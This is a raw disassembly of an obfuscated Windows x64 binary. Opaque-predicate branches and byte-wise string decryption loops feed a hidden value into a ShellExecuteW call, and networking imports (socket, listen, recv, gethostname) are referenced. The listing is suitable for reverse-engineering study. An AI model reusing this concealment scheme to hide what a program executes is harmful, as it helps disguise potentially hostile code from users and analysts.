lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400e39b2
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400e3991
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400e3970
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e394f
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400e392e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400e3907
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400e38dd
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400e38bc
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400e36b0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x42]
jmp 0x1400e36b0
lea rcx, [r11 + r12]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x49
jmp 0x1400e36a0
lea rcx, [r11 + r13]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x53
jmp 0x1400e3640
movabs rcx, 0x6b9ac1ac05bd4d85
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x5d
movabs rax, 0x432add67ac9b0093
jmp 0x1400e35e0
movabs rax, 0x14214c0945b86078
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x48
jmp 0x1400e407f
movabs rax, 0x8dcb9139ec825f52
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x3e
inc r9
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0x775d66a934c5e2c
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x34
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0x81201b9b3a165d06
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x2a
jmp 0x1400e3fab
movabs rax, 0xfaca60cbe0e05be0
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x20
jmp 0x1400e40ea
movabs rax, 0x7474a5fc87aa5aba
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x16
jmp 0x1400e40ed
movabs rax, 0xee1eeb2d2e745994
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0xc
jmp 0x1400e4121
movabs rax, 0x67c9305dd53e586e
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 2
jmp 0x1400e4149
movabs rax, 0xe173758e7c085748
add rax, r11
and r10b, al
mov ecx, 4
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
add dl, bl
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e35b5
movabs rax, 0x919d22881d015469
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x21
mov byte [rbp + r11 + 0xb0], dl
inc r11
jmp 0x1400e35b5
movabs rcx, 0xb4767b8c3cb5343
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x2b
cmp r9, 0x28
jb 0x1400e3a25
movabs rax, 0xc314374ec5c23a92
add rax, r11
and r10b, al
mov ecx, 1
sub cl, r10b
add cl, cl
add cl, al
add cl, bl
lea edx, [rcx + rcx]
jmp 0x1400e407f
movabs rcx, 0x84f1ace96a95521d
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x35
cmp r8, 0x80
jae 0x1400e3f8a
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400e3ebf
movabs rcx, 0x83baeb3549a62f16
add rcx, r11
movzx eax, r10b
and al, cl
mov edx, 0x33
sub dl, al
add dl, dl
add dl, cl
add dl, bl
jmp 0x1400e3a52
movabs rcx, 0xfe9bf21a115f50f7
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x3f
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400e3fcc
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400e3dc9
movabs rcx, 0x136c1b420ef2307
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x31
jmp 0x1400e3a9b
movabs rax, 0xf18f906f44a485a
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x76
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e35b5
movabs rax, 0x88c33e379b144734
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x6c
jmp 0x1400e4149
movabs rax, 0x26d836841de460e
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x62
jmp 0x1400e4121
movabs rax, 0x7c17c898e8a844e8
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x58
jmp 0x1400e40ed
movabs rax, 0xf5c20dc98f7243c2
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x4e
jmp 0x1400e40ea
movabs rax, 0x6f6c52fa363c429c
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x44
jmp 0x1400e3fab
movabs rax, 0xe916982add064176
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x3a
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0x62c0dd5b83d04050
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x30
inc r9
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0xdc6b228c2a9a3f2a
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x26
jmp 0x1400e407f
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400e3ca9
movabs rcx, 0x432add67ac9b0093
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 5
jmp 0x1400e3af7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e3ce8
movabs rax, 0x5085302516e181e
add rax, r11
and r10b, al
mov ecx, reloc.WS2_32.dll_socket
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
add dl, bl
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e35b5
inc rax
cmp r8, rax
jne 0x1400e3d14
movabs rax, 0x11b3c8a103da1a6a
add rax, r11
and r10b, al
mov ecx, reloc.WS2_32.dll_listen
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
add dl, bl
jmp 0x1400e4121
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e3d41
movabs rax, 0x980983705d101b90
add rax, r11
and r10b, al
mov ecx, 8
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
add dl, bl
jmp 0x1400e40ed
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e3d6b
movabs rax, 0xa4b4f90f0f7c1ddc
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 4
jmp 0x1400e3fab
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e3d9b
movabs rax, 0x2b0ab3de68b21f02
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0xe
dec r11
inc r11
jmp 0x1400e35b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e3af7
movabs rax, 0x37b6297d1b1e214e
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x22
jmp 0x1400e407f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e3df3
movabs rax, 0x878c7c837a25242d
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x3b
jmp 0x1400e407f
inc rax
cmp r8, rax
jne 0x1400e3e25
movabs rax, 0xde23752d35b2553
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x45
inc r9
dec r11
inc r11
jmp 0x1400e35b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e3e55
movabs rax, 0x9437f2222c912679
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x4f
dec r11
inc r11
jmp 0x1400e35b5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e3e7f
movabs rax, 0xa0e367c0defd28c5
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x63
jmp 0x1400e40ea
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e3a9b
movabs rax, 0xba3a52fe43d52d5d
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x75
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e35b5
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400e3efe
movabs rax, 0xa10a604a2dc303c
add rax, r11
and r10b, al
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
add dl, bl
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e35b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e3f2b
movabs rax, 0x16bc1ba355483288
add rax, r11
and r10b, al
mov ecx, 0x24
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
add dl, bl
jmp 0x1400e4121
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e3f53
movabs rax, 0xa9bd4c1160ea35fa
add rax, r11
and r10b, al
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
jmp 0x1400e3fa9
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400e3a52
movabs rax, 0x301306e0ba203720
add rax, r11
and r10b, al
mov ecx, reloc.WS2_32.dll_recv
sub cl, r10b
lea edx, [rcx + rcx]
add dl, al
add dl, bl
dec r11
inc r11
jmp 0x1400e35b5
movabs rcx, 0x4969f21e1ef83bb8
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 8
add dl, bl
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xd
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0xb0], cl
jmp 0x1400e40ea
movabs rcx, 0xcfbfaced782e3cde
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub cl, al
sub cl, r10b
lea edx, [rbx + rcx]
sub dl, 0x12
jmp 0x1400e4121
movabs rax, 0xa8868a5d3ffb12f3
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x5b
jmp 0x1400e40ed
movabs rax, 0x158559ef34590f81
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x79
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0x8f2f9f1fdb230e5b
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x7d
inc r9
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0x8d9e45081ed0d35
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x73
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 3
add cl, bl
mov byte [rbp + r11 + 0xb0], cl
inc r9
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0xef82f9131d15089d
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rdi + rax]
sub dl, 0x4b
dec r11
inc r11
jmp 0x1400e35b5
movabs rax, 0xe2d783746aa90651
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rdi + rax]
sub dl, 0x37
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400e35b5
movabs rax, 0xd62c0dd5b83d0405
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rdi + rax]
sub dl, 0x23
lea ecx, [r11 + 0x71]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x17
add cl, dil
movzx eax, cl
mov byte [rbp + r11 + 0xb0], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 4]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x1c
add cl, dil
mov byte [rbp + r11 + 0xb0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e35b5
movabs rax, 0xc980983705d101b9
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rdi + rax]
sub dl, 0xf
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e35b5
movabs rax, 0xe54506dcac874c5f
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x67
jmp 0x1400e35ae
movabs rax, 0x5eef4c0d53514b39
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x71
jmp 0x1400e359f
lea rax, [rbp + 0x1646374]
jmp 0x1400e421a
lea rax, [rbp + 0x13f6407]
jmp 0x1400e421a
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xd0]
call fcn.14002a0e0
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xf0]
call fcn.1400285d0
lea rcx, [rbp + 0xf0]
call fcn.140028db0
mov dword [rsp + 0x28], esi
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r14
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xf0]
call fcn.140028d40
nop
lea rcx, [rbp + 0xd0]
call fcn.140028d40
nop
lea rcx, [rbp + 0x70]
call fcn.140028d40
nop
lea rcx, [rbp - 0x58]
call fcn.140028d40
lea rcx, [0x1402ea010]
call fcn.140101ba0
cmp byte [0x1402ea240], bl
jne 0x1400e5195
lea rcx, [0x1402ea010]
call fcn.1400fd960
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x110], 8
mov byte [rbp + 0x111], 0xf5
mov byte [rbp + 0x112], 0xc1
mov byte [rbp + 0x113], 0x5f
mov byte [rbp + 0x114], Ordinal_79
mov byte [rbp + 0x115], 0x5d
mov byte [rbp + 0x116], 0x63
mov byte [rbp + 0x117], 0x5a
mov byte [rbp + 0x118], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x119], reloc.WS2_32.dll_listen
mov byte [rbp + 0x11a], 0xec
xor eax, eax
mov qword [rbp + 0x11b], rax
mov dword [rbp + 0x123], eax
mov word [rbp + 0x127], ax
mov byte [rbp + 0x129], al
movabs rsi, 0x3e7046d9eb2bd5c1
movabs r12, 0xea97a1d99d7bfdfd
movabs r14, 0x6054e1288252e85f
movabs r15, 0x8b259d75475aec65
movabs r13, 0xb5f659c20c62f06b
movabs r8, 0x1e52f31c1e66b20e
movzx r10d, byte [rbp + 0x3d0]
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
cmp rbx, 0x1a
jae 0x1400e5160
movzx r11d, byte [rbp + rbx + 0x110]
cmp rax, rbx
ja 0x1400e5157
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x1400e43d1
lea rdx, [rbx + r12]
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x15
add r10b, dl
jmp 0x1400e4400
je 0x1400e50c3
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400e507e
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1400e5047
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400e4fee
nop
cmp r9, rbx
ja 0x1400e514e
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jae 0x1400e4431
lea rdx, [rbx + rsi]
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x47
add r10b, dl
jmp 0x1400e4472
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400e4fcb
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400e4f96
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400e4f4a
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400e4f25
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400e4ea3
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400e4af5
nop
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400e4ace
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x1400e4a91
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x1400e4a57
lea rdx, [r9 + 6]
cmp rax, rdx
je 0x1400e4a31
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1400e4a0c
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400e49e7
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400e49c0
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1400e4996
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400e496c
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400e4480
mov rax, rdx
lea r9, [rdx + 0x5a]
lea rcx, [r9 + 0x200]
cmp rdx, rcx
jb 0x1400e5128
lea rcx, [r9 + 0x400]
cmp rdx, rcx
jb 0x1400e5102
lea rcx, [r9 + 5]
cmp rdx, rcx
jb 0x1400e4672
lea rdx, [r9 + 0x80]
cmp rax, rdx
jb 0x1400e4653
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x1400e4634
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1400e4905
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1400e48a4
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1400e484e
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1400e4814
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400e4480
mov rax, rdx
lea r9, [rdx + 0xa]
lea rcx, [r9 + 2]
cmp rdx, rcx
ja 0x1400e47ea
lea rcx, [r9 + 0x40]
cmp rdx, rcx
ja 0x1400e47c1
lea rcx, [r9 + 0x5a]
cmp rdx, rcx
ja 0x1400e479b
lea rdx, [r9 + 1]
cmp rax, rdx
ja 0x1400e4776
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400e474c
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1400e4725
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400e46eb
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x1400e46b9
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x1400e4691
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x1400e4480
mov rax, rdx
lea r9, [rdx + 0x400]
jmp 0x1400e4480
lea rdx, [rbx + r14]
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x67
add r10b, dl
jmp 0x1400e4472
lea rdx, [rbx + r15]
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x3d
add r10b, dl
jmp 0x1400e4400
lea rdx, [rbx + r13]
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x13
add r10b, dl
jmp 0x1400e43a3
movabs rdx, 0xf38236cf595eae08
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x38
add r10b, dl
jmp 0x1400e5012
lea rdx, [rbx + r8]
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x62
add r10b, dl
inc r9
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs rdx, 0x4923af68e36eb614
add rdx, rbx
movzx ecx, r11b
and cl, dl
mov r10d, Ordinal_60
sub r10b, cl
add r10b, r10b
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs r8, 0x73f46bb5a876ba1a
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x1400e4f6b
movabs r8, 0x9ec528026d7ebe20
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400e509d
movabs rdx, 0xc995e44f3286c226
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0xa
jmp 0x1400e50a0
movabs r8, 0xf466a09bf78ec62c
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x34
jmp 0x1400e4ec4
movabs r8, 0x1f375ce8bc96ca32
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x5e
add r10b, r8b
jmp 0x1400e4ef3
movabs r8, 0x4a081935819ece38
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400e50e2
movabs rdx, 0xb511eff56e32d847
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
add r10b, 0xf
mov byte [rbp + rbx + 0x110], r10b
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs r8, 0xdfe2ac42333adc4d
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x1b
add r10b, r8b
cmp r9, 0x40
jb 0x1400e4834
movabs rdx, 0x786a7cb4bf6732ce
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r8d, r11b
sub r8b, cl
add r8b, dl
lea r10d, [r8*2 - 0x44]
jmp 0x1400e5012
movabs r8, 0xab3688ef842e053
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x45
add r10b, r8b
cmp rax, 3
jae 0x1400e4e54
lea rcx, [r9 + 0x61]
cmp rax, rcx
jbe 0x1400e4d90
movabs r8, 0x2491d7b471b75b0a
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x46
jmp 0x1400e486f
movabs r8, 0x358424dbbd4ae459
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x6f
add r10b, r8b
lea rcx, [r9 + rax]
cmp rcx, 0x3e8
je 0x1400e4e7d
lea rcx, [r9 + 2]
cmp rax, rcx
jbe 0x1400e4c38
movabs r8, 0xe62190da868b8549
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
inc r10b
jmp 0x1400e48c5
movabs r8, 0x76a1a91b83070286
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400e50e2
movabs r8, 0xa1726568480f068c
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400e4ef3
movabs r8, 0xcc4321b50d170a92
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, 1
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x1400e4ec4
movabs rdx, 0xf713de01d21f0e98
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x28
jmp 0x1400e50a0
movabs rdx, 0x21e49a4e9727129e
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x52
jmp 0x1400e509d
movabs r8, 0x4cb5569b5c2f16a4
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x7c
jmp 0x1400e4f6b
movabs r8, 0x778612e821371aaa
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs r8, 0xa256cf34e63f1eb0
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_26
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc r9
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs r8, 0xcd278b81ab4722b6
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, 3
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x1400e500f
lea rcx, [r9 + 0x10]
cmp rax, rcx
jae 0x1400e4b1b
lea r8, [rbx + r12]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x15
jmp 0x1400e4926
lea rdx, [r9 + 1]
cmp rax, rdx
jne 0x1400e4b4e
movabs r8, 0x7ce08db3d657ab82
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400e50e2
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400e4b81
movabs r8, 0xd19d9c80c2379b6a
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400e509d
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400e4bc4
movabs r8, 0x7bfc23e73827935e
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, gethostname
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
lea rcx, [rdx + 1]
cmp rax, rcx
jne 0x1400e4c05
movabs rdx, 0x512b679a731f8f58
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x68
inc r9
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x1400e4929
movabs r8, 0x265aab4dae178b52
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x3e
jmp 0x1400e500f
lea rdx, [r9 + 1]
cmp rax, rdx
jne 0x1400e4c67
movabs r8, 0xbb50d48dc1838143
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x2b
jmp 0x1400e500f
cmp rax, rcx
jne 0x1400e4ca1
movabs rdx, 0x65af5bf437737937
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
add r10b, 0x7f
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
lea rcx, [rdx + 1]
cmp rax, rcx
jne 0x1400e4cd0
movabs r8, 0x3ade9fa7726b7531
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x57
jmp 0x1400e4f6b
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400e4cfe
movabs rdx, 0x100de35aad63712b
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x2d
jmp 0x1400e509d
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400e4d2c
movabs rdx, 0xe53d270de85b6d25
